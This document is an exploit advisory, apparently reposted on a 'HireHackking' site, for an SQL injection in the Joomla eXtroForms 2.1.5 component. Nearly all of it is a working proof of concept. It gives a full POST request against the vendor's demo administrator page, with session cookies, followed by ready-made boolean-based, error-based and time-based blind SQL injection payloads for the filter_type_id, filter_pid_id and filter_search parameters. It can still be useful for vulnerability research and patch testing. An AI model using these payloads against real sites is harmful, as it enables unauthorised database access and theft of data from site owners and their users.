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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Joomla Component eXtroForms 2.1.5 - 'filter_type_id' SQL Injection
# Dork: N/A
# Date: 2018-08-03
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://extro.media/
# Software Link: https://extensions.joomla.org/extensions/extension/contacts-and-feedback/contact-forms/extroforms/
# Version: 2.1.5
# Category: Webapps
# Tested on: Kali linux
# Description : An attacker can execute SQL commands through parameters that contain vulnerable.
# An authorized user can use the filtering feature and can fully authorize the database or other server informations.

# "filter_type_id, filter_pid_id, filter_search" parameters have the same vulnerable.
# Demo: https://demo.extro.media/responsive-joomla-extensions-en/extroforms-demos-en/
# PoC : SQLi :

POST /administrator/index.php?option=com_extroform&view=extroformfield
Host: demo.extro.media
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://demo.extro.media/administrator/index.php?option=com_extroform&view=extroformfield
Cookie: 2e7fc5dc4e4ce76c3319e1db921484ac=eqgcirsi6m53s6vbi7bbgng1n5; 48bd4f2f65b6c84d32f8704444f9b24c=rt2t3ur8fgmbjemdqua1vn8u35
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 146
filter_type_id=1&filter_pid_id=6&filter_search=&limitstart=0&task=&boxchecked=0&filter_order=&filter_order_Dir=&cc73497ba686a8903b677f55cb29b616=1

# Parameter: filter_type_id (POST)
# Type: boolean-based blind
# Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)

Payload: filter_type_id=-7022 OR 5787=5787#&filter_pid_id=6&filter_search=&limitstart=0&task=&boxchecked=0&filter_order=&filter_order_Dir=&cc73497ba686a8903b677f55cb29b616=1

# Type: error-based
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

Payload: filter_type_id=1 AND (SELECT 5756 FROM(SELECT COUNT(*),CONCAT(0x7162706271,(SELECT (ELT(5756=5756,1))),0x7170706271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&filter_pid_id=6&filter_search=&limitstart=0&task=&boxchecked=0&filter_order=&filter_order_Dir=&cc73497ba686a8903b677f55cb29b616=1

# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind

Payload: filter_type_id=1 AND SLEEP(5)&filter_pid_id=6&filter_search=&limitstart=0&task=&boxchecked=0&filter_order=&filter_order_Dir=&cc73497ba686a8903b677f55cb29b616=1

# Parameter: filter_pid_id (POST)
# Type: boolean-based blind
# Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)

Payload: filter_type_id=1&filter_pid_id=-5547 OR 1857=1857#&filter_search=&limitstart=0&task=&boxchecked=0&filter_order=&filter_order_Dir=&e0b80bd9e6ffbad6d1ab256ec3149955=1

# Type: error-based
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

Payload: filter_type_id=1&filter_pid_id=7 AND (SELECT 2680 FROM(SELECT COUNT(*),CONCAT(0x71766b7671,(SELECT (ELT(2680=2680,1))),0x71627a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&filter_search=&limitstart=0&task=&boxchecked=0&filter_order=&filter_order_Dir=&e0b80bd9e6ffbad6d1ab256ec3149955=1

# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 OR time-based blind

Payload: filter_type_id=1&filter_pid_id=7 OR SLEEP(5)&filter_search=&limitstart=0&task=&boxchecked=0&filter_order=&filter_order_Dir=&e0b80bd9e6ffbad6d1ab256ec3149955=1

# Parameter: filter_search (POST)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause (MySQL comment)

Payload: filter_type_id=1&filter_pid_id=7&filter_search=" AND 8748=8748#&limitstart=0&task=&boxchecked=0&filter_order=&filter_order_Dir=&e0b80bd9e6ffbad6d1ab256ec3149955=1

# Type: error-based
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)

Payload: filter_type_id=1&filter_pid_id=7&filter_search=" AND (SELECT 2429 FROM(SELECT COUNT(*),CONCAT(0x71766b7671,(SELECT (ELT(2429=2429,1))),0x71627a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- zyPZ&limitstart=0&task=&boxchecked=0&filter_order=&filter_order_Dir=&e0b80bd9e6ffbad6d1ab256ec3149955=1

# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind

Payload: filter_type_id=1&filter_pid_id=7&filter_search=" AND SLEEP(5)-- fDVO&limitstart=0&task=&boxchecked=0&filter_order=&filter_order_Dir=&e0b80bd9e6ffbad6d1ab256ec3149955=1